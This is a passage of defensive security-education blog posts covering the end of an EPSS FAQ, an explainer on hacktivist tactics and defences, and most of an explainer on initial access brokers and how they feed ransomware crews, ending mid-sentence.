the likelihood the others lack. ## Frequently asked questions **Is EPSS free to use?** Yes. The model output is published by FIRST and can be queried through the FIRST.org API with no account required, and the full scored set is available as a daily download. There is no paid tier for the core scores, which is part of why EPSS has spread quickly through vulnerability-management tooling. **How often do EPSS scores change?** Scores are refreshed daily. The model is retrained on an ongoing basis as new exploitation signals arrive, so a given CVE's score can move from one day to the next, sometimes sharply when a working exploit is published. **Should I patch by EPSS score or by percentile?** Threshold on percentile for your standing triage rules, because the percentile stays interpretable as the model retrains and the absolute probabilities drift. Look at the raw score and its recent change when you are examining an individual CVE closely. **Does a high EPSS mean the vulnerability is severe?** No. EPSS measures the likelihood of exploitation, not the impact. A high EPSS on a low-impact flaw is still worth attention, but you weigh it against the CVSS impact view before deciding it outranks a more damaging flaw with a lower probability. **What is the difference between EPSS and CISA KEV?** EPSS predicts whether a CVE is likely to be exploited soon. KEV is a list of vulnerabilities CISA has confirmed are being exploited. EPSS is a forward-looking estimate, and KEV is a record of confirmed activity that overrides the estimate. **Can EPSS be wrong?** Individual predictions can miss in both directions: a high-scoring CVE may see no activity, and a low-scoring one may be exploited. EPSS is calibrated to be accurate across many vulnerabilities rather than to be certain about any single one, so its value shows up when you apply it across a whole backlog. **How does EPSS fit into a vulnerability-management program?** It supplies the likelihood axis that severity scoring lacks. Most teams use it as one column alongside CVSS impact, asset exposure, and KEV status, feeding a combined priority that decides which findings enter the expedited patch queue. **Does EPSS cover every CVE?** The model scores published CVEs, so coverage tracks the CVE catalog broadly. A brand new vulnerability may take a short time to receive a meaningful score as features accumulate, which is one more reason to recompute your backlog against fresh scores regularly rather than relying on a single snapshot. ## Related guides - [CVSS vs EPSS](/cvss-vs-epss) - [CVSS Explained](/cvss-explained) - [The KEV Catalog Explained](/kev-catalog-explained) - [The CVE System Explained](/the-cve-system-explained) - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) ### Sources - EPSS Model and Data (FIRST (Forum of Incident Response and Security Teams)): https://www.first.org/epss/ - EPSS User Guide (FIRST): https://www.first.org/epss/user-guide - CISA Known Exploited Vulnerabilities Catalog (CISA): https://www.cisa.gov/known-exploited-vulnerabilities-catalog --- ## Hacktivism Explained: When Hacking Is Driven by a Cause > Hacktivism is cause-driven hacking. Its common tactics, how it differs from criminal and state activity, and how to defend against it. - URL: https://blog.pwnsy.com/hacktivism-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: beginner - Category: threat-intel - Tags: hacktivism, threat-intel, ddos, defacement, threat-actors - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - Hacktivism is hacking carried out to advance a political, social, or ideological cause, where the point is the message rather than money or intelligence. - The common tactics are website defacement, distributed denial-of-service, doxxing, and hack-and-leak operations, chosen for visibility more than sophistication. - Hacktivists differ from financially motivated criminals, who want profit, and from state actors, who want intelligence and strategic effect and operate covertly. - The lines blur: some hacktivist fronts are covers for state operations, and defending against the tactics matters regardless of the motive behind them. ### Key Takeaways - Motivation is the defining feature: a hacktivist wants attention for a cause, so their attacks are designed to be seen and claimed publicly. - Defacement replaces a site's content with a message, DDoS floods a service offline, doxxing exposes private information, and hack-and-leak dumps stolen data to embarrass a target. - Impact is usually reputational and disruptive rather than destructive, though leaks can cause lasting harm to individuals and organisations. - Attribution is hard: claims are easy to make and easy to fake, and some hacktivist personas are deniable fronts for nation-state activity. - Defence is ordinary security hygiene done well, plus DDoS protection and a communications plan, because the target selection is often opportunistic. Most cyber attacks are quiet by design. The attacker wants to stay in, take what they came for, and leave without a trace. Hacktivism inverts that logic. A hacktivist wants to be seen. The whole value of the operation is the attention it draws to a cause, so the attack is loud, claimed, and often announced in advance. Understanding that motivation is the key to reading the threat correctly. Hacktivism, a blend of "hacking" and "activism", is the use of hacking techniques to advance a political, social, or ideological goal. The methods overlap with ordinary cybercrime, but the intent, and therefore the behaviour, is different. This guide covers what hacktivists actually do, how they differ from criminals and state actors, and how to defend against tactics that are chosen for visibility. ## What defines hacktivism The defining feature is motivation. A financially driven criminal measures success in money. A state actor measures it in intelligence gathered or strategic effect achieved. A hacktivist measures it in attention: did the message reach an audience, did the target look weak, did the cause gain traction. That single difference shapes everything downstream. Because the goal is publicity, hacktivists claim their work, often loudly, on social media and in manifestos. They pick targets with symbolic weight: government sites, large corporations, organisations tied to a contested issue. And they favour tactics that produce a visible result quickly, because a disruption nobody notices is a failure by their own metric. Hacktivism is usually decentralised. Movements form around a banner rather than a payroll, participants come and go, and skill levels vary widely. A single operation might mix a handful of capable operators with a large crowd running point-and-click tools they were handed. That structure makes movements resilient and unpredictable, and it makes attribution genuinely difficult. ## The common tactics Hacktivist operations reuse a small, reliable set of techniques. What they lack in novelty they make up for in visibility. | Tactic | What it does | Why hacktivists like it | |---|---|---| | Defacement | Replaces a website's page with the attacker's message | Instantly public, hard to miss, humiliating for the target | | DDoS | Floods a service with traffic until it goes offline | Simple to coordinate, disrupts operations, easy to claim | | Doxxing | Publishes private information about individuals | Pressures and intimidates named targets | | Hack-and-leak | Steals data and dumps it publicly | Frames the target as corrupt or negligent | **Defacement** maps to [Defacement (T1491)](https://attack.mitre.org/techniques/T1491/) on MITRE ATT&CK. It is the digital equivalent of graffiti on a landmark: usually not deeply damaging, but embarrassing and immediate. **Distributed denial-of-service** maps to [Network Denial of Service (T1498)](https://attack.mitre.org/techniques/T1498/). It knocks a service offline by overwhelming it, and it is the signature hacktivist move because it needs no persistent access and can be coordinated by a crowd. **Doxxing and hack-and-leak** are the more harmful end. Exposing personal data or dumping internal documents can cause lasting damage to individuals and lasting reputational harm to organisations. A leak is the tactic most likely to produce consequences that outlive the news cycle. ## How hacktivism differs from crime and state activity It helps to place hacktivism against the other two broad motives, because the response to each is different. **Versus cybercrime.** Criminals want money and want to keep operating, so they stay quiet and reuse access. Hacktivists spend their access on a public statement, often burning it in the process. A criminal hides the breach; a hacktivist advertises it. **Versus state activity.** Nation-state operations prize stealth, persistence, and intelligence value, and they almost never claim their work. Hacktivists claim everything and rarely persist. Where a state actor will sit undetected in a network for months, a hacktivist tends to make a splash and move on. See [What Is an APT](/what-is-an-apt) and [Nation-State Hacking Explained](/nation-state-hacking-explained). The complication is that these categories leak into each other. Some "hacktivist" groups are deniable fronts operated or encouraged by a state, which gets the disruption of an attack while keeping the plausible deniability of a grassroots movement. Others drift toward extortion, using the threat of a leak for profit. The label a group wears tells you less than its behaviour does. A group's name and manifesto are marketing. What matters operationally is the tradecraft: the tactics, the infrastructure, and the timing. Our Threat Groups directory tracks actors by their observed behaviour, which is what lets you tell a genuine cause-driven crew from a state front wearing a hacktivist badge. ## Notable movements at a conceptual level Rather than a roll call of names and dates, it helps to recognise the recurring patterns. Hacktivism tends to surface in a few forms. - **Banner movements** that anyone can join under a shared identity, where the name is a franchise rather than an organisation. Operations are announced, participants opt in, and the collective claims credit. - **Cause campaigns** that spin up around a specific event or grievance, run a burst of defacements and DDoS, then dissolve when attention moves on. - **Geopolitically aligned crews** that appear during conflicts, target the other side's infrastructure and media, and blur into state-adjacent activity. The through-line is that hacktivism is reactive and event-driven. It flares in response to news, elections, conflicts, and controversies. That rhythm is a useful defensive signal: if your organisation becomes associated with a contested issue, your exposure to opportunistic hacktivist attention rises, and it is worth raising readiness before the attention arrives. ## A closer look at each tactic The four tactics in the table above deserve more than a one-line summary, because the defense for each is different and because the way hacktivists use them differs from how a criminal or a state actor would. **Defacement** replaces the content a site serves with the attacker's message. Mechanically it requires write access to the web content: a compromised content-management login, an unpatched application that allows file upload or code execution, or a stolen deployment credential. The attacker rarely needs deep access. Reaching the layer that renders the homepage is enough. For a hacktivist the appeal is that the result is instant and public. A visitor who loads the site sees the message directly, and screenshots spread on social media within minutes. On MITRE ATT&CK this is [Defacement (T1491)](https://attack.mitre.org/techniques/T1491/), which distinguishes internal defacement, aimed at users inside an organization, from external defacement of a public site. **Distributed denial-of-service** overwhelms a service with traffic until legitimate users cannot reach it. It maps to [Network Denial of Service (T1498)](https://attack.mitre.org/techniques/T1498/). The hacktivist appeal is coordination without persistence. A crowd can be pointed at a target with a shared tool or a booter service, no foothold is needed, and the outage is easy to observe and claim. The disruption is temporary by nature. When the flood stops, the service returns, which is why DDoS produces a news moment rather than lasting damage in most cases. The exception is when an outage lands during a critical window, such as an election result page or a payment deadline. **Doxxing** publishes private information about named individuals: home addresses, phone numbers, family details, employer information. It is a pressure and intimidation tactic aimed at people rather than systems. The data is often assembled from breaches, public records, and social media rather than a single intrusion, which means doxxing does not always require hacking at all. When it follows a breach, the harm compounds, because the exposure is targeted and personal. **Hack-and-leak** steals internal data and dumps it publicly to frame the target as corrupt, negligent, or hypocritical. It combines an intrusion with a publication strategy. The leak is usually timed for maximum effect and framed with a narrative, so the operation is as much about the story as the data. Of the four tactics this one produces the most durable consequences, because leaked documents keep circulating and can seed further reporting long after the initial dump. DDoS from a hacktivist is a public statement meant to be seen and claimed. The same DDoS from a criminal crew is often cover for extortion or a distraction during a quieter intrusion. The technique on the wire looks identical. The motive is what tells you whether to expect a manifesto or a ransom note, and it shapes how you respond. This is why threat intelligence tracks actors by behavior and context, not by the raw technique alone. ## How hacktivism evolved Hacktivism is not new, and its shape has shifted with the tools available. In the early era, the barrier to entry was skill. Defacing a site or knocking it offline required someone who understood the systems, so operations were small and the participants were capable. The message was the point even then, but the crowd could not join in directly. Two changes widened the field. The first was the arrival of point-and-click attack tools that let people with no technical background take part in a coordinated flood. Suddenly an operation could mobilize a crowd, and the size of the crowd became part of the statement. The second was social media, which gave movements a way to organize, announce targets, and broadcast results to an audience far larger than the attack itself reached. A defacement seen by a few hundred visitors could be screenshotted and shown to millions. The more recent shift is the blurring of hacktivism with state activity. During geopolitical conflicts, groups appear that carry the banner and rhetoric of grassroots hacktivism while operating with resources, timing, and target selection that suggest coordination or encouragement from a state. The label became a useful disguise. A government gains the disruption of an attack and the deniability of a crowd. This is why current threat intelligence treats a hacktivist claim as a starting hypothesis to be tested against behavior, rather than a settled fact about who is responsible. The context in our Threat Groups directory exists precisely to separate observed tradecraft from the banner an operation flies under. ## Reading the risk signals Because hacktivism is reactive, an organization can often see its exposure rising before an attack lands. The triggers are usually public and predictable. | Signal | Why it raises risk | |---|---| | Association with a contested political issue | Draws cause-driven attention from whichever side feels aggrieved | | A prominent executive making public statements | Personalizes the target and invites doxxing | | Operating in a country during a conflict | Attracts geopolitically aligned crews targeting the other side | | A controversial product launch or policy change | Creates a grievance a movement can rally around | | Being named in mainstream news on a divisive topic | Concentrates opportunistic attention during the news cycle | None of these signals guarantees an attack, and none is a reason to change what an organization stands for. They are a scheduling input for the security team. When one of them appears, it is worth raising readiness: confirming DDoS protection is active, checking that public-facing applications are patched, and briefing the communications team that a public incident is more likely than usual. The rhythm of hacktivism is event-driven, so the calendar of likely triggers is often visible in advance. ## A campaign from the outside in Watching how a typical cause campaign unfolds makes the reactive rhythm concrete. The shape recurs even though the specifics change. It begins with a trigger. A news event, a policy decision, a court ruling, or a corporate announcement generates anger among a group already inclined to act. Someone with a following frames the target and issues a call to action, naming an organization and a date. The framing does the recruiting. It gives a diffuse grievance a specific outlet. Next comes mobilization. Participants gather on whatever platform the movement uses to coordinate, tools and target lists are shared, and the more capable operators quietly probe for the intrusions that will produce a leak or a defacement while the crowd prepares for the visible flood. This preparation phase is where a watchful defender can still see the storm forming, because target lists and calls to action are public by design. Then the operation lands. The DDoS flood arrives at the announced time, defacements appear on any site that was reachable, and if a hack-and-leak was in progress, the stolen data is dumped with a narrative attached. Screenshots and claims spread immediately, because the spectacle is the product. The technical disruption may last minutes or hours, but the media moment is the real output. Finally the campaign dissipates. Attention moves to the next event, participants drift away, and the banner goes quiet until the next trigger revives it. The infrastructure and the crowd do not persist, which is why hacktivism flares and fades rather than maintaining the steady presence of a criminal or state operation. For a defender, the useful lesson is that most of this timeline is observable before the damage. The trigger is public, the call to action is public, and the target list is often public. Readiness raised during the mobilization phase, before the operation lands, is worth far more than a scramble once the flood is already underway. ## Common misconceptions Several assumptions about hacktivism lead defenders to prepare for the wrong thing. The first is that hacktivism is always low skill. The crowd running point-and-click tools is real, but many movements include a core of capable operators who run the intrusions behind hack-and-leak operations. Treating every hacktivist as a script user underestimates the ones who can reach sensitive data. The visible flood is sometimes cover for a quieter, more skilled effort. The second is that a claim of responsibility is proof. Claims are trivial to make and trivial to fake. A group may claim an attack it did not carry out to inflate its reputation, and a state actor may claim to be a hacktivist group to hide its hand. The claim is a data point to verify, not a conclusion. The third is that the damage is only reputational. Defacement and DDoS are usually recoverable, which supports that impression, but doxxing and hack-and-leak can cause lasting harm to individuals and can expose data that fuels further attacks. Judging the whole category by its most transient tactic understates the risk from its most damaging one. The fourth is that being uncontroversial makes an organization safe. Target selection is often opportunistic. A vulnerable public site can be defaced simply because it was easy, and used as a trophy, regardless of whether the organization has any connection to the cause. Weak security is itself a reason to be picked. ## Frequently asked questions **Is hacktivism illegal?** The techniques hacktivists use, unauthorized access, defacement, denial of service, and publishing stolen data, are crimes in most jurisdictions regardless of the motive behind them. A political or social cause does not change the legal status of gaining unauthorized access to a system or knocking it offline. Practitioners sometimes frame their actions as civil disobedience, but that framing does not alter how the law treats the underlying acts. **How is hacktivism different from cyberterrorism?** The line is one of intent and severity. Hacktivism aims to draw attention, embarrass a target, or disrupt operations to make a point. Cyberterrorism aims to cause serious harm, fear, or physical consequences in pursuit of a political goal. Most hacktivist activity, defacement and DDoS in particular, is disruptive and reputational rather than physically dangerous, which places it well short of terrorism in both intent and effect. **Can hacktivists be defended against if you cannot remove their motivation?** Yes. You cannot remove the grievance, but you can remove the opportunity. The tactics are common and mostly opportunistic, so ordinary security done consistently, patched public applications, DDoS protection, least privilege on sensitive data, and a rehearsed communications plan, makes an organization a harder and less rewarding target. The cause persists, but it moves on to targets that offer an easier win. **Why do hacktivists announce attacks in advance?** Because the announcement is part of the operation. The goal is attention, so publicizing a target builds an audience before the attack even happens, recruits participants for a coordinated action, and frames the narrative. An attack nobody expected and nobody noticed fails by the hacktivist's own measure. The advance notice is a feature of the tactic, and for defenders it is a warning worth acting on. **Are hacktivist DDoS attacks technically sophisticated?** Usually not, and they do not need to be. The signature hacktivist DDoS relies on coordination and volume rather than novel technique. A large crowd or a rented booter service can generate enough traffic to disrupt an unprotected service without anything clever. This is why upstream DDoS protection and a content delivery network handle the majority of them, and why the harder problem is often the communications response rather than the technical one. **Should a defaced site be restored immediately or preserved for investigation?** Both goals matter, so capture before you restore. Take a full copy of the defaced state, the logs, and the entry point for the investigation, then restore from a known-good backup and close the vulnerability that allowed the write. Restoring without capturing loses the evidence needed to understand how the attacker got in, and leaving the defacement up longer than necessary hands the attackers exactly the visibility they wanted. ## How to defend against hacktivist tactics Because the tactics are common and the target selection is often opportunistic, defence is mostly ordinary security done consistently, plus a few specifics. 1. **Prepare for DDoS in advance.** Have upstream DDoS protection and a content delivery network in place, and know who to call at your provider. Following the guidance in [CISA's DDoS resource](https://www.cisa.gov/resources-tools/resources/understanding-and-responding-distributed-denial-service-attacks) beats improvising during an outage. See also [DDoS Attacks Explained](/ddos-attacks-explained). 2. **Harden the public face.** Defacement usually rides in through an unpatched web application or a weak content-management login. Patch, restrict admin access, and put strong authentication on every publishing account. 3. **Reduce leakable exposure.** Hack-and-leak needs data to steal. Least privilege, segmentation, and not hoarding sensitive data shrink what a successful intruder can dump. 4. **Have a communications plan.** A defacement or leak is a public event. Deciding in advance who speaks, what you say, and how fast you respond limits the reputational damage the attackers are actually aiming for. 5. **Raise readiness around triggers.** If your organisation is about to be in the news on a contested topic, treat it as a period of elevated risk and watch your public services more closely. Hacktivists trade in embarrassment. A calm, fast, factual response to a defacement or leak often does more to blunt the operation than any technical fix, because it denies the attackers the spectacle they were after. Rehearse it before you need it. Hacktivism is durable because grievance is durable and the tools are cheap. You cannot remove the motivation, but you can make yourself a hard, uninteresting target: patched public services, DDoS protection standing by, little sensitive data to leak, and a communications team that does not panic. The cause will find another target that offers a better show. ## Related guides - [What Is an APT](/what-is-an-apt) - [Nation-State Hacking Explained](/nation-state-hacking-explained) - [DDoS Attacks Explained](/ddos-attacks-explained) - [Insider Threats Guide](/insider-threats-guide) - [Cybercrime as a Service Explained](/cybercrime-as-a-service-explained) ### Sources - MITRE ATT&CK: Network Denial of Service (T1498) (MITRE): https://attack.mitre.org/techniques/T1498/ - MITRE ATT&CK: Defacement (T1491) (MITRE): https://attack.mitre.org/techniques/T1491/ - CISA: Understanding and Responding to Distributed Denial-of-Service Attacks (CISA): https://www.cisa.gov/resources-tools/resources/understanding-and-responding-distributed-denial-service-attacks --- ## Initial Access Brokers: The Middlemen of Ransomware > Who initial access brokers are, the footholds they sell, how they get in through stealer logs and exposed RDP and VPN, and how they feed ransomware crews. - URL: https://blog.pwnsy.com/initial-access-brokers-explained - Date: 2026-07-24 - Updated: 2026-09-03 - Difficulty: intermediate - Category: threat-intel - Tags: initial-access-broker, ransomware, threat-intel, dark-web, credential-theft - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - An initial access broker (IAB) is a criminal who breaks into organisations and sells the resulting access to other criminals instead of attacking further themselves. - The product is a foothold: valid credentials, a live VPN or RDP session, or a webshell that gets the buyer inside a specific named company. - Access is sourced from infostealer logs, exposed remote services, phishing, and unpatched edge devices, then verified, priced, and listed on criminal marketplaces and forums. - IABs are the supply layer beneath ransomware: they let ransomware crews skip the break-in and start from a working foothold, which is a major reason attacks scaled. ### Key Takeaways - Brokers specialise in the first stage of an intrusion and monetise it directly, turning a break-in into a repeatable product with a price. - Common access types are compromised RDP and VPN, valid domain or cloud credentials, and webshells on internet-facing servers. - Listings are often advertised generically (sector, country, revenue, access level) to protect the victim's identity until a buyer commits. - The IAB-to-ransomware pipeline compresses the time from initial compromise to encryption, because the hardest step is bought rather than earned. - Defence targets the sources: kill stealer infections, lock down remote access with MFA, patch edge devices fast, and hunt for the access a broker would sell. Behind a large share of ransomware incidents is a division of labour most people never see. The crew that encrypted the network often did not break in. They bought the way in from someone else, a specialist who does nothing but compromise organisations and resell the access. That specialist is an initial access broker. The rise of the broker is one of the quiet structural changes in cybercrime. It turned "getting inside a company" from the hardest part of an attack into a commodity you can purchase, which lowered the bar for everyone downstream. ## What a broker actually sells An initial access broker sells a foothold: a working way into a specific organisation's network or cloud, ready for the buyer to escalate. The broker does the break-in, confirms the access is live, and hands it over. What they do not do is the attack that follows. That is the buyer's job. The typical products: | Access type | What the buyer receives | Why it is valuable | |---|---|---| | Compromised VPN | Valid VPN credentials or a live session | A trusted route straight into the internal network | | Compromised RDP | Working remote desktop access | A hands-on interactive foothold | | Valid accounts | Domain, email, or cloud credentials | Blends in as a legitimate user | | Webshell | A backdoor on an internet-facing server | Persistent command execution on the perimeter | | Admin or domain access | Elevated or domain-admin control | Premium, near-total control of the environment | Price tracks how useful and how deep the access is. A single user's credentials at a small company is cheap. Domain-administrator access at a large, high-revenue organisation commands far more, because it saves the buyer the hardest and riskiest work. The listings are cheaper than most people expect. Rapid7's 2025 Access Brokers Report, built from six months of posts on the Exploit, XSS and BreachForums communities, found nearly 40% of listings priced between $500 and $1,000. The same sample puts VPN access at 23.5% of listings, plain domain-user credentials at 19.9% and RDP at 16.7%, so those three types are roughly 60% of everything sold, and over 70% of listings came with user privileges already attached. ## How brokers get in Brokers are opportunists who industrialise a handful of reliable entry methods. They rarely need novel exploits. **Infostealer logs.** This is now a primary source. Infostealers harvest saved passwords and live session cookies from infected machines and bundle them into logs sold in bulk. Brokers mine those logs for corporate credentials, especially VPN and single-sign-on logins, then test which ones still work. A single stealer infection on one employee's device can become a corporate foothold weeks later in someone else's hands. Our [infostealer guide](/what-is-an-infostealer) covers that supply chain in detail. **Exposed remote services.** Internet-facing RDP and VPN endpoints are scanned constantly. Weak passwords, reused credentials, and missing multi-factor authentication turn an exposed service into an open door. MITRE ATT&CK tracks this as [External Remote Services (T1133)](https://attack.mitre.org/techniques/T1133/), and the reuse of legitimate logins as [Valid Accounts (T1078)](https://attack.mitre.org/techniques/T1078/). **Phishing.** Credential-harvesting pages and malicious attachments remain a dependable way to collect working logins at scale. **Unpatched edge devices.** VPN gateways, firewalls, and other internet-facing appliances are high-value targets. When a serious vulnerability in one is disclosed, brokers race to exploit exposed instances before defenders patch, because a single flaw can yield footholds across many organisations at once. This source grew fast: Verizon's 2025 DBIR found VPN and edge-device vulnerabilities behind 22% of the breaches that involved exploiting a CVE, against 3% in the 2024 edition, and exploitation of a vulnerability was the initial access vector in 20% of breaches overall. The 2026 edition puts software vulnerabilities at the start of 31% of breaches. The appliances brokers hit are a short list, and CISA publishes which of their bugs are confirmed exploited in the wild. Our [edge CVE watch](https://pwnsy.com/tools/vpn/edge-cves/) filters the CISA Known Exploited Vulnerabilities catalogue down to VPN and remote-access gear (Fortinet, Ivanti, Cisco ASA, SonicWall, Citrix, Palo Alto), grouped by appliance family and enriched with EPSS scores and remediation deadlines. If you run one of those boxes, it tells you which CVEs to patch before a broker sells the foothold. Almost none of these methods require an advanced exploit. They require someone exposed: a reused password, an internet-facing box without MFA, a stealer infection on a laptop, an appliance patched a week too late. Brokers scale by finding the many organisations that left one of these open, not by out-engineering anyone. ## The marketplace Access is bought and sold on criminal forums, invite-only communities, and private channels. The economics look surprisingly like a legitimate market. Listings are usually anonymised to protect the asset. Rather than naming the victim, a broker advertises the generic attributes a buyer needs to judge value: the country, the industry, the approximate revenue, the type of access, and the privilege level, for example "manufacturing, Europe, VPN access, local admin". The specific identity is revealed only once a buyer commits, which keeps the access from being burned by attention before it sells. Reputation matters in these markets. Established brokers build standing over many sales, sometimes offer replacements if access dies before use, and get access to closed forums that screen newcomers. Trust is the currency that lets the market function despite everyone in it being a criminal. To see the forums and marketplaces where this trade happens, our [dark web markets guide](/dark-web-markets-explained) maps how these venues operate. ## How brokers feed ransomware The reason initial access brokers matter so much is where their product goes. They are the supply layer beneath the ransomware economy. The handoff has also become fast. Mandiant's M-Trends 2026 reports a median of 22 seconds between initial access and the handoff to the group that acts on it, down from more than eight hours in 2022, and that split-role pattern appeared in 9% of 2025 investigations against 4% in 2022. A ransomware operation needs to get inside a target before it can encrypt anything, and that first step is the slowest, riskiest, and most skill-dependent part of the whole attack. Buying it from a broker removes that friction. The affiliate starts from a working foothold and moves straight to the profitable stages: escalate privileges, move laterally, steal data for extortion, and deploy the encryptor. The pipeline looks like this: 1. **A broker compromises an organisation** and verifies the access works. 2. **The broker lists it** on a marketplace with anonymised attributes and a price. 3. **A ransomware affiliate buys it**, often selecting by sector, revenue, and geography to match a payout target. 4. **The affiliate runs the attack** from the foothold: escalation, lateral movement, data theft, encryption. 5. **The ransom is negotiated and split** among the affiliate, the ransomware operator, and the broker's earlier cut. This specialisation is a big part of why ransomware scaled the way it did. It let ransomware-as-a-service crews focus on tooling and extortion while outsourcing the break-in to specialists. Our [ransomware-as-a-service guide](/ransomware-as-a-service-explained) covers the affiliate side that sits directly downstream of the broker. Everything a broker sells is something a defender can hunt for: an unexpected VPN login from a new location, RDP exposed to the internet, a domain credential in a public stealer-log dump, a webshell on an edge device. If you can find it before they list it, or invalidate it before a buyer uses it, you break the pipeline at the cheapest possible point. ## How to defend against access brokers Because brokers rely on a small set of sources, defence is about closing those sources and detecting the access itself. 1. **Kill the stealer supply.** Application control, download hygiene, and phishing-resistant authentication cut off the logs brokers mine. Treat any stealer infection on a device with corporate access as a credential compromise; cleaning the malware is only half the response. 2. **Lock down remote access.** Put every VPN and RDP endpoint behind multi-factor authentication, never expose RDP directly to the internet, and enforce strong unique passwords. This removes the most common broker entry point. 3. **Patch edge devices fast.** Internet-facing gateways and appliances need the shortest patch window you can manage, because brokers weaponise their vulnerabilities within days of disclosure. 4. **Monitor for exposed credentials.** Watch for your domains appearing in stealer-log and credential dumps so you can rotate before a broker sells the access. 5. **Hunt for the foothold.** Alert on anomalous remote logins, new or unusual valid-account activity, and webshells on perimeter servers. This catches access a broker has already established. 6. **Assume the first step was bought.** In incident response, do not assume the intruder broke in themselves. Trace the origin of the access, because it may point to a stealer log or exposed service you need to close for good. To see the ransomware crews and affiliates that buy from brokers, along with the sectors they focus on, our Threat Groups directory tracks the actors sitting downstream of the access trade, so you can understand who is likely to arrive after a broker sells the way in. ## How a broker verifies and packages access Selling a foothold is only worth doing if the buyer believes it works, so brokers put real effort into verification and packaging. This step is why the access that reaches a ransomware affiliate is usually live and usable rather than a stale credential dump. After a broker obtains a credential or a session, they confirm it functions. For a VPN or RDP login this means logging in and checking that the account is active, has not been locked, and reaches an internal network worth attacking. For a webshell it means confirming the shell still executes commands. Brokers often note the privilege level, whether the account is a standard user or an administrator, and whether it can reach a domain controller, because those details set the price. They also profile the target enough to write a listing. A buyer wants to judge payout potential before committing, so the broker records the sector, the country, the approximate revenue, the number of endpoints or the size of the environment, and the security tooling present. None of this names the victim. It describes the asset the way a real-estate listing describes a property without giving the address, so the access is not burned by attention before it sells. The final package a buyer receives is compact: a working credential or session, notes on privilege and reach, and enough context to plan the next steps. The broker has done the slow, risky part, gaining entry and proving it holds, and hands over a foothold the buyer can act on immediately. A leaked password from an old breach may or may not still work. What a broker sells is verified, current access, tested shortly before listing and sometimes backed by a replacement guarantee. This is why the broker layer accelerates attacks so much: the buyer starts from a foothold that has already been confirmed to function, skipping the trial and error of guessing at stale credentials. ## A worked example: from stealer log to ransomware Tracing one path from the original infection to the eventual ransom shows how the layers connect. 1. **The infection.** An employee installs a cracked application on a personal laptop that also holds saved corporate logins. Bundled with it is an infostealer, which harvests the browser's saved passwords and active session cookies and sends them to its operator. 2. **The log for sale.** The stealer operator bundles this victim's data with thousands of others into a log and sells access to the collection on a marketplace. 3. **The broker mines it.** An initial access broker buys the log collection and searches it for corporate value, filtering for VPN portals, single-sign-on domains, and admin panels. They find the employer's VPN credentials. 4. **Verification.** The broker tests the credentials against the VPN portal. They work, and because the organisation did not enforce multi-factor authentication on that portal, the broker is now inside the internal network. They confirm reach and note the privilege level. 5. **Listing.** The broker lists the access with anonymised attributes: the sector, the country, an approximate revenue, and VPN access with the observed privilege. A price is set to match the apparent value. 6. **The sale.** A ransomware affiliate shopping for a target in that revenue range buys the access. 7. **The attack.** Starting from the VPN foothold, the affiliate escalates privileges, moves laterally to reach file servers and backups, steals data for extortion leverage, and deploys the encryptor. The organisation learns of the whole chain only when the ransom note appears. The single stealer infection on one personal device became a corporate ransomware event, passing through two separate criminal specialists on the way. Each layer added value and distance, which is exactly what makes the model efficient and hard to trace back. ## How brokers compare to related actors The broker sits in a crowded ecosystem, and it is easy to blur them with adjacent roles. Distinguishing them clarifies where each fits. | Actor | What they do | What they sell or keep | Relationship to the broker | |---|---|---|---| | Infostealer operator | Runs malware that harvests credentials in bulk | Sells logs in bulk | Upstream supplier the broker mines | | Initial access broker | Breaks in and verifies a foothold at a named target | Sells the specific access | The layer in focus | | Ransomware affiliate | Runs the intrusion and deploys the encryptor | Keeps most of the ransom | Downstream buyer of the access | | Ransomware operator | Builds the encryptor and runs the brand and infrastructure | Takes a cut from affiliates | Sits alongside the affiliate | | Exploit broker | Trades vulnerabilities and exploit code | Sells the capability to break in | Supplies methods, not footholds | The clean division of labour is the story of modern cybercrime. Each specialist does one thing well and sells the output to the next, which lowers the skill any single participant needs and raises the overall throughput of the whole economy. ## Common misconceptions **Brokers are elite hackers.** Most are not. Their advantage is scale and diligence, not novel exploitation. They industrialise a handful of reliable methods and profit by finding the many organisations that left one of those methods open. **Only large companies are targeted.** Brokers sell access to organisations of every size, because there is a buyer for every payout tier. A small company with weak remote access is an easy, cheap listing, and plenty of ransomware affiliates prefer soft targets over hardened large ones. **A stolen password is only a risk to the person who lost it.** The stealer-log pipeline turns one employee's personal-device infection into a corporate foothold. Saved corporate credentials on any device a stealer touches can become access a broker sells weeks later. **Multi-factor authentication makes us immune.** Strong multi-factor authentication removes the most common broker entry point, which is enormously valuable, but it is not absolute. Session-cookie theft, authentication that falls back to weaker methods, and gaps where multi-factor is not enforced all remain. It raises the cost sharply without reducing it to zero. **If we were not ransomed, the access was not sold.** Brokered access can sit unused, be resold, or be used for goals other than ransomware, including data theft and espionage. The absence of a ransom note does not mean a foothold was never established or sold. ## Detection signals: finding brokered access Everything a broker sells leaves traces you can hunt for, and finding them early breaks the pipeline at its cheapest point. - **Your domains in stealer-log and credential dumps.** Monitoring for corporate credentials appearing in the dumps brokers mine lets you rotate before a foothold is verified and sold. - **Anomalous remote logins.** A VPN or RDP session from an unusual location, at an unusual hour, or from an unfamiliar device is the signature of freshly used brokered access. Baseline normal access and alert on deviation. - **Impossible travel and concurrent sessions.** The same account authenticating from two distant locations in a short window suggests the credential is in more than one party's hands. - **RDP exposed directly to the internet.** Scanning your own perimeter for exposed remote services finds the open doors brokers look for before they do. - **Webshells on internet-facing servers.** Unexpected files that execute commands on perimeter hosts are a classic broker persistence method. File-integrity monitoring on edge servers surfaces them. - **Newly disclosed edge-device vulnerabilities left unpatched.** When a serious flaw in a VPN gateway or firewall is disclosed, the window before you patch is exactly when brokers weaponise it. Tracking your exposure against fresh advisories is a race worth winning. ## How the broker economy grew The specialist broker is a relatively recent structural feature of cybercrime, and its rise tracks the maturing of the wider criminal economy. In earlier years an attacker who wanted to 